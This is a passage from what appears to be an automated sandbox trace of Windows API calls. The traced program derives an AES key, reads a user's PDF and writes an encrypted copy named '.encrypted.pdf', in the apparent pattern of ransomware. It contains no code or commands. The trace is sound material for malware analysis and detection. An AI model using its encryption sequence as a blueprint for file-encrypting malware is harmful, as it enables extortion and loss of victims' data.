wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.492] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.492] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.492] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.492] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.493] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.493] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.493] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.493] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.493] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.493] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.493] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.494] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gmgulv1jfwyowc.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.495] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.495] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.495] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u")) returned 0x10 [0024.495] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gmgulv1jfwyowc.encrypted.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.497] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1218, lpOverlapped=0x0) returned 1 [0024.497] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.499] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.499] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.499] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.499] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.500] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.500] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.500] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.500] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.500] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.501] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064c20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.501] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.501] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.501] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.501] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.502] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.502] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1218, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1220) returned 1 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] CharLowerBuffW (in: lpsz="byte[4641]", cchLength=0xa | out: lpsz="byte[4641]") returned 0xa [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.502] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.502] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x1218, dwBufLen=0x1220 | out: pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x1220) returned 1 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.502] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.503] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.504] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.504] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.504] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.504] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe350, 